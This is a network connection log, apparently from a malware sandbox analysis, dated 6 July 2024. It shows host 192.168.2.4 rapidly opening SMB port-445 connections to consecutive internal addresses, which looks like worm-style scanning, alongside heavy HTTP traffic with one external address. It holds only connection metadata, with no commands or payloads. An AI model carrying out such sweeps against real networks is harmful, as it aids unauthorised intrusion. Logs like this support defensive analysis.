Jul 6, 2024 14:10:24.603902102 CEST	50020	445	192.168.2.4	192.168.0.205
Jul 6, 2024 14:10:24.603975058 CEST	50020	445	192.168.2.4	192.168.0.205
Jul 6, 2024 14:10:24.608711004 CEST	445	50019	192.168.0.76	192.168.2.4
Jul 6, 2024 14:10:24.608755112 CEST	445	50018	192.168.0.77	192.168.2.4
Jul 6, 2024 14:10:24.610404015 CEST	445	50020	192.168.0.205	192.168.2.4
Jul 6, 2024 14:10:24.614407063 CEST	50021	445	192.168.2.4	192.168.0.78
Jul 6, 2024 14:10:24.614759922 CEST	50022	445	192.168.2.4	192.168.0.206
Jul 6, 2024 14:10:24.623717070 CEST	445	50020	192.168.0.205	192.168.2.4
Jul 6, 2024 14:10:24.623775005 CEST	50020	445	192.168.2.4	192.168.0.205
Jul 6, 2024 14:10:24.623920918 CEST	445	50021	192.168.0.78	192.168.2.4
Jul 6, 2024 14:10:24.623931885 CEST	445	50022	192.168.0.206	192.168.2.4
Jul 6, 2024 14:10:24.623991013 CEST	50021	445	192.168.2.4	192.168.0.78
Jul 6, 2024 14:10:24.624089956 CEST	50021	445	192.168.2.4	192.168.0.78
Jul 6, 2024 14:10:24.624089956 CEST	50022	445	192.168.2.4	192.168.0.206
Jul 6, 2024 14:10:24.624171019 CEST	50022	445	192.168.2.4	192.168.0.206
Jul 6, 2024 14:10:24.630129099 CEST	50023	445	192.168.2.4	192.168.0.207
Jul 6, 2024 14:10:24.631809950 CEST	445	50021	192.168.0.78	192.168.2.4
Jul 6, 2024 14:10:24.633600950 CEST	445	50022	192.168.0.206	192.168.2.4
Jul 6, 2024 14:10:24.633646011 CEST	50022	445	192.168.2.4	192.168.0.206
Jul 6, 2024 14:10:24.635224104 CEST	445	50023	192.168.0.207	192.168.2.4
Jul 6, 2024 14:10:24.635296106 CEST	50023	445	192.168.2.4	192.168.0.207
Jul 6, 2024 14:10:24.645349979 CEST	50023	445	192.168.2.4	192.168.0.207
Jul 6, 2024 14:10:24.645807981 CEST	50024	445	192.168.2.4	192.168.0.208
Jul 6, 2024 14:10:24.651007891 CEST	445	50024	192.168.0.208	192.168.2.4
Jul 6, 2024 14:10:24.651071072 CEST	50024	445	192.168.2.4	192.168.0.208
Jul 6, 2024 14:10:24.651153088 CEST	50024	445	192.168.2.4	192.168.0.208
Jul 6, 2024 14:10:24.651313066 CEST	445	50023	192.168.0.207	192.168.2.4
Jul 6, 2024 14:10:24.651360989 CEST	50023	445	192.168.2.4	192.168.0.207
Jul 6, 2024 14:10:24.657927990 CEST	445	50024	192.168.0.208	192.168.2.4
Jul 6, 2024 14:10:24.657989025 CEST	50024	445	192.168.2.4	192.168.0.208
Jul 6, 2024 14:10:24.661261082 CEST	50025	445	192.168.2.4	192.168.0.209
Jul 6, 2024 14:10:24.666613102 CEST	445	50025	192.168.0.209	192.168.2.4
Jul 6, 2024 14:10:24.666682959 CEST	50025	445	192.168.2.4	192.168.0.209
Jul 6, 2024 14:10:24.666760921 CEST	50025	445	192.168.2.4	192.168.0.209
Jul 6, 2024 14:10:24.672683954 CEST	445	50025	192.168.0.209	192.168.2.4
Jul 6, 2024 14:10:24.672729969 CEST	50025	445	192.168.2.4	192.168.0.209
Jul 6, 2024 14:10:24.676928043 CEST	50026	445	192.168.2.4	192.168.0.210
Jul 6, 2024 14:10:24.681946039 CEST	445	50026	192.168.0.210	192.168.2.4
Jul 6, 2024 14:10:24.682005882 CEST	50026	445	192.168.2.4	192.168.0.210
Jul 6, 2024 14:10:24.692219019 CEST	50026	445	192.168.2.4	192.168.0.210
Jul 6, 2024 14:10:24.692507029 CEST	50027	445	192.168.2.4	192.168.0.211
Jul 6, 2024 14:10:24.697936058 CEST	445	50026	192.168.0.210	192.168.2.4
Jul 6, 2024 14:10:24.697947979 CEST	445	50027	192.168.0.211	192.168.2.4
Jul 6, 2024 14:10:24.697988033 CEST	50026	445	192.168.2.4	192.168.0.210
Jul 6, 2024 14:10:24.698019028 CEST	50027	445	192.168.2.4	192.168.0.211
Jul 6, 2024 14:10:24.698097944 CEST	50027	445	192.168.2.4	192.168.0.211
Jul 6, 2024 14:10:24.706459045 CEST	445	50027	192.168.0.211	192.168.2.4
Jul 6, 2024 14:10:24.708095074 CEST	50028	445	192.168.2.4	192.168.0.212
Jul 6, 2024 14:10:24.711287022 CEST	445	50027	192.168.0.211	192.168.2.4
Jul 6, 2024 14:10:24.711339951 CEST	50027	445	192.168.2.4	192.168.0.211
Jul 6, 2024 14:10:24.715164900 CEST	445	50028	192.168.0.212	192.168.2.4
Jul 6, 2024 14:10:24.715225935 CEST	50028	445	192.168.2.4	192.168.0.212
Jul 6, 2024 14:10:24.715306044 CEST	50028	445	192.168.2.4	192.168.0.212
Jul 6, 2024 14:10:24.722429037 CEST	445	50028	192.168.0.212	192.168.2.4
Jul 6, 2024 14:10:24.723541975 CEST	445	50028	192.168.0.212	192.168.2.4
Jul 6, 2024 14:10:24.723582029 CEST	50028	445	192.168.2.4	192.168.0.212
Jul 6, 2024 14:10:24.723882914 CEST	50029	445	192.168.2.4	192.168.0.213
Jul 6, 2024 14:10:24.732199907 CEST	445	50029	192.168.0.213	192.168.2.4
Jul 6, 2024 14:10:24.732270956 CEST	50029	445	192.168.2.4	192.168.0.213
Jul 6, 2024 14:10:24.739118099 CEST	50029	445	192.168.2.4	192.168.0.213
Jul 6, 2024 14:10:24.739468098 CEST	50030	445	192.168.2.4	192.168.0.214
Jul 6, 2024 14:10:24.743998051 CEST	445	50029	192.168.0.213	192.168.2.4
Jul 6, 2024 14:10:24.744056940 CEST	50029	445	192.168.2.4	192.168.0.213
Jul 6, 2024 14:10:24.744283915 CEST	445	50030	192.168.0.214	192.168.2.4
Jul 6, 2024 14:10:24.744508028 CEST	50030	445	192.168.2.4	192.168.0.214
Jul 6, 2024 14:10:24.744508028 CEST	50030	445	192.168.2.4	192.168.0.214
Jul 6, 2024 14:10:24.750072002 CEST	445	50030	192.168.0.214	192.168.2.4
Jul 6, 2024 14:10:24.750123978 CEST	50030	445	192.168.2.4	192.168.0.214
Jul 6, 2024 14:10:24.754976034 CEST	50031	445	192.168.2.4	192.168.0.215
Jul 6, 2024 14:10:24.759804010 CEST	445	50031	192.168.0.215	192.168.2.4
Jul 6, 2024 14:10:24.759860992 CEST	50031	445	192.168.2.4	192.168.0.215
Jul 6, 2024 14:10:24.759933949 CEST	50031	445	192.168.2.4	192.168.0.215
Jul 6, 2024 14:10:24.765583038 CEST	445	50031	192.168.0.215	192.168.2.4
Jul 6, 2024 14:10:24.765636921 CEST	50031	445	192.168.2.4	192.168.0.215
Jul 6, 2024 14:10:24.770565033 CEST	50032	445	192.168.2.4	192.168.0.216
Jul 6, 2024 14:10:24.777750015 CEST	445	50032	192.168.0.216	192.168.2.4
Jul 6, 2024 14:10:24.777813911 CEST	50032	445	192.168.2.4	192.168.0.216
Jul 6, 2024 14:10:24.777884007 CEST	50032	445	192.168.2.4	192.168.0.216
Jul 6, 2024 14:10:24.783308983 CEST	445	50032	192.168.0.216	192.168.2.4
Jul 6, 2024 14:10:24.783361912 CEST	50032	445	192.168.2.4	192.168.0.216
Jul 6, 2024 14:10:24.786375046 CEST	50033	445	192.168.2.4	192.168.0.217
Jul 6, 2024 14:10:24.791177034 CEST	445	50033	192.168.0.217	192.168.2.4
Jul 6, 2024 14:10:24.791254997 CEST	50033	445	192.168.2.4	192.168.0.217
Jul 6, 2024 14:10:24.801702023 CEST	50033	445	192.168.2.4	192.168.0.217
Jul 6, 2024 14:10:24.808325052 CEST	445	50033	192.168.0.217	192.168.2.4
Jul 6, 2024 14:10:24.808419943 CEST	50033	445	192.168.2.4	192.168.0.217
Jul 6, 2024 14:10:24.809082031 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.809128046 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.809132099 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.809139967 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.809205055 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.809237957 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.809250116 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.809259892 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.809271097 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.809277058 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.809307098 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.809422970 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.809433937 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.809443951 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.809454918 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.809459925 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.809464931 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.809475899 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.809483051 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.809514046 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.809531927 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.809566975 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.810168982 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.810208082 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.810614109 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.810641050 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.810652971 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.810652971 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.810681105 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.810751915 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.810764074 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.810772896 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.810782909 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.810789108 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.810817957 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.810878992 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.810889959 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.810919046 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.810925961 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.810930014 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.810954094 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.810976982 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.811336040 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.811347008 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.811357021 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.811387062 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.811418056 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.811541080 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.811584949 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.811621904 CEST	50034	445	192.168.2.4	192.168.0.218
Jul 6, 2024 14:10:24.811978102 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.811990023 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.812026024 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.812056065 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.812067032 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.812077999 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.812093019 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.812117100 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.812131882 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.812423944 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.812443018 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.812453032 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.812467098 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.812489986 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.812506914 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.812517881 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.812544107 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.812567949 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.812763929 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.812793016 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.812804937 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.812829018 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.813169956 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.813214064 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.813252926 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.813290119 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.813327074 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.813338995 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.813363075 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.813376904 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.813874960 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.813918114 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.813921928 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.813927889 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.813956022 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.813966990 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.813996077 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.814034939 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.814517975 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.814558029 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.814568996 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.814568996 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.814620972 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.814635992 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.814670086 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.814922094 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.814932108 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.814968109 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.814994097 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.815005064 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.815037012 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.815653086 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.815696955 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.815705061 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.815707922 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.815746069 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.816287994 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.816298962 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.816318035 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.816329002 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.816345930 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.816365957 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.816385031 CEST	445	50034	192.168.0.218	192.168.2.4
Jul 6, 2024 14:10:24.816448927 CEST	50034	445	192.168.2.4	192.168.0.218
Jul 6, 2024 14:10:24.816605091 CEST	50034	445	192.168.2.4	192.168.0.218
Jul 6, 2024 14:10:24.817857027 CEST	50035	445	192.168.2.4	192.168.0.219
Jul 6, 2024 14:10:24.822158098 CEST	445	50034	192.168.0.218	192.168.2.4
Jul 6, 2024 14:10:24.822247028 CEST	50034	445	192.168.2.4	192.168.0.218
Jul 6, 2024 14:10:24.822853088 CEST	445	50035	192.168.0.219	192.168.2.4
Jul 6, 2024 14:10:24.822926044 CEST	50035	445	192.168.2.4	192.168.0.219
Jul 6, 2024 14:10:24.825582981 CEST	50035	445	192.168.2.4	192.168.0.219
Jul 6, 2024 14:10:24.830751896 CEST	445	50035	192.168.0.219	192.168.2.4
Jul 6, 2024 14:10:24.830916882 CEST	50035	445	192.168.2.4	192.168.0.219
Jul 6, 2024 14:10:24.833286047 CEST	50036	445	192.168.2.4	192.168.0.220
Jul 6, 2024 14:10:24.838541985 CEST	445	50036	192.168.0.220	192.168.2.4
Jul 6, 2024 14:10:24.838623047 CEST	50036	445	192.168.2.4	192.168.0.220
Jul 6, 2024 14:10:24.838732004 CEST	50036	445	192.168.2.4	192.168.0.220
Jul 6, 2024 14:10:24.844249964 CEST	445	50036	192.168.0.220	192.168.2.4
Jul 6, 2024 14:10:24.844310045 CEST	50036	445	192.168.2.4	192.168.0.220
Jul 6, 2024 14:10:24.849070072 CEST	50037	445	192.168.2.4	192.168.0.221
Jul 6, 2024 14:10:24.854448080 CEST	445	50037	192.168.0.221	192.168.2.4
Jul 6, 2024 14:10:24.854522943 CEST	50037	445	192.168.2.4	192.168.0.221
Jul 6, 2024 14:10:24.854614973 CEST	50037	445	192.168.2.4	192.168.0.221
Jul 6, 2024 14:10:24.860032082 CEST	445	50037	192.168.0.221	192.168.2.4
Jul 6, 2024 14:10:24.860096931 CEST	50037	445	192.168.2.4	192.168.0.221
Jul 6, 2024 14:10:24.864420891 CEST	50038	445	192.168.2.4	192.168.0.222
Jul 6, 2024 14:10:24.869294882 CEST	445	50038	192.168.0.222	192.168.2.4
Jul 6, 2024 14:10:24.869381905 CEST	50038	445	192.168.2.4	192.168.0.222
Jul 6, 2024 14:10:24.879834890 CEST	50038	445	192.168.2.4	192.168.0.222
Jul 6, 2024 14:10:24.880150080 CEST	50039	445	192.168.2.4	192.168.0.223
Jul 6, 2024 14:10:24.884912968 CEST	445	50039	192.168.0.223	192.168.2.4
Jul 6, 2024 14:10:24.884985924 CEST	50039	445	192.168.2.4	192.168.0.223
Jul 6, 2024 14:10:24.885144949 CEST	445	50038	192.168.0.222	192.168.2.4
Jul 6, 2024 14:10:24.885193110 CEST	50038	445	192.168.2.4	192.168.0.222
Jul 6, 2024 14:10:24.895654917 CEST	50040	445	192.168.2.4	192.168.0.224
Jul 6, 2024 14:10:24.895657063 CEST	50039	445	192.168.2.4	192.168.0.223
Jul 6, 2024 14:10:24.900475979 CEST	445	50040	192.168.0.224	192.168.2.4
Jul 6, 2024 14:10:24.900664091 CEST	50040	445	192.168.2.4	192.168.0.224
Jul 6, 2024 14:10:24.900697947 CEST	445	50039	192.168.0.223	192.168.2.4
Jul 6, 2024 14:10:24.900747061 CEST	50039	445	192.168.2.4	192.168.0.223
Jul 6, 2024 14:10:24.900801897 CEST	50040	445	192.168.2.4	192.168.0.224
Jul 6, 2024 14:10:24.905528069 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:24.905591011 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:24.908252001 CEST	445	50040	192.168.0.224	192.168.2.4
Jul 6, 2024 14:10:24.908313990 CEST	50040	445	192.168.2.4	192.168.0.224
Jul 6, 2024 14:10:24.911268950 CEST	50041	445	192.168.2.4	192.168.0.225
Jul 6, 2024 14:10:24.916907072 CEST	445	50041	192.168.0.225	192.168.2.4
Jul 6, 2024 14:10:24.916985035 CEST	50041	445	192.168.2.4	192.168.0.225
Jul 6, 2024 14:10:24.917077065 CEST	50041	445	192.168.2.4	192.168.0.225
Jul 6, 2024 14:10:24.922462940 CEST	445	50041	192.168.0.225	192.168.2.4
Jul 6, 2024 14:10:24.922512054 CEST	50041	445	192.168.2.4	192.168.0.225
Jul 6, 2024 14:10:24.926799059 CEST	50042	445	192.168.2.4	192.168.0.226
Jul 6, 2024 14:10:24.931991100 CEST	445	50042	192.168.0.226	192.168.2.4
Jul 6, 2024 14:10:24.932050943 CEST	50042	445	192.168.2.4	192.168.0.226
Jul 6, 2024 14:10:24.932141066 CEST	50042	445	192.168.2.4	192.168.0.226
Jul 6, 2024 14:10:24.937598944 CEST	445	50042	192.168.0.226	192.168.2.4
Jul 6, 2024 14:10:24.937649965 CEST	50042	445	192.168.2.4	192.168.0.226
Jul 6, 2024 14:10:24.942415953 CEST	50043	445	192.168.2.4	192.168.0.227
Jul 6, 2024 14:10:24.947880983 CEST	445	50043	192.168.0.227	192.168.2.4
Jul 6, 2024 14:10:24.947940111 CEST	50043	445	192.168.2.4	192.168.0.227
Jul 6, 2024 14:10:24.948019028 CEST	50043	445	192.168.2.4	192.168.0.227
Jul 6, 2024 14:10:24.954446077 CEST	445	50043	192.168.0.227	192.168.2.4
Jul 6, 2024 14:10:24.958132029 CEST	50044	445	192.168.2.4	192.168.0.228
Jul 6, 2024 14:10:24.960877895 CEST	445	50043	192.168.0.227	192.168.2.4
Jul 6, 2024 14:10:24.960927963 CEST	50043	445	192.168.2.4	192.168.0.227
Jul 6, 2024 14:10:24.963519096 CEST	445	50044	192.168.0.228	192.168.2.4
Jul 6, 2024 14:10:24.963597059 CEST	50044	445	192.168.2.4	192.168.0.228
Jul 6, 2024 14:10:24.963680029 CEST	50044	445	192.168.2.4	192.168.0.228
Jul 6, 2024 14:10:24.969028950 CEST	445	50044	192.168.0.228	192.168.2.4
Jul 6, 2024 14:10:24.969084024 CEST	50044	445	192.168.2.4	192.168.0.228
Jul 6, 2024 14:10:24.973747015 CEST	50045	445	192.168.2.4	192.168.0.229
Jul 6, 2024 14:10:24.978634119 CEST	445	50045	192.168.0.229	192.168.2.4
Jul 6, 2024 14:10:24.978697062 CEST	50045	445	192.168.2.4	192.168.0.229
Jul 6, 2024 14:10:24.989088058 CEST	50045	445	192.168.2.4	192.168.0.229
Jul 6, 2024 14:10:24.989367962 CEST	50046	445	192.168.2.4	192.168.0.230
Jul 6, 2024 14:10:24.994304895 CEST	445	50046	192.168.0.230	192.168.2.4
Jul 6, 2024 14:10:24.994369984 CEST	50046	445	192.168.2.4	192.168.0.230
Jul 6, 2024 14:10:24.994440079 CEST	50046	445	192.168.2.4	192.168.0.230
Jul 6, 2024 14:10:24.994905949 CEST	445	50045	192.168.0.229	192.168.2.4
Jul 6, 2024 14:10:24.994956970 CEST	50045	445	192.168.2.4	192.168.0.229
Jul 6, 2024 14:10:25.000288963 CEST	445	50046	192.168.0.230	192.168.2.4
Jul 6, 2024 14:10:25.000339985 CEST	50046	445	192.168.2.4	192.168.0.230
Jul 6, 2024 14:10:25.004935980 CEST	50047	445	192.168.2.4	192.168.0.231
Jul 6, 2024 14:10:25.013173103 CEST	445	50047	192.168.0.231	192.168.2.4
Jul 6, 2024 14:10:25.013232946 CEST	50047	445	192.168.2.4	192.168.0.231
Jul 6, 2024 14:10:25.013300896 CEST	50047	445	192.168.2.4	192.168.0.231
Jul 6, 2024 14:10:25.013569117 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.013621092 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.013624907 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.013632059 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.013664961 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.013737917 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.013747931 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.013763905 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.013776064 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.013801098 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.013921022 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.013930082 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.013964891 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.014161110 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.014183998 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.014194012 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.014202118 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.014230967 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.014455080 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.014493942 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.014508963 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.014518976 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.014544010 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.014555931 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.014667988 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.014708042 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.014717102 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.014750004 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.014754057 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.014789104 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.014815092 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.014852047 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.014915943 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.014955997 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.014961958 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.014988899 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.015175104 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.015189886 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.015198946 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.015216112 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.015238047 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.015394926 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.015438080 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.015502930 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.015511990 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.015532017 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.015546083 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.015558004 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.015652895 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:25.015697956 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:25.015799999 CEST	80	49732	211.108.60.155	192.168.2.4
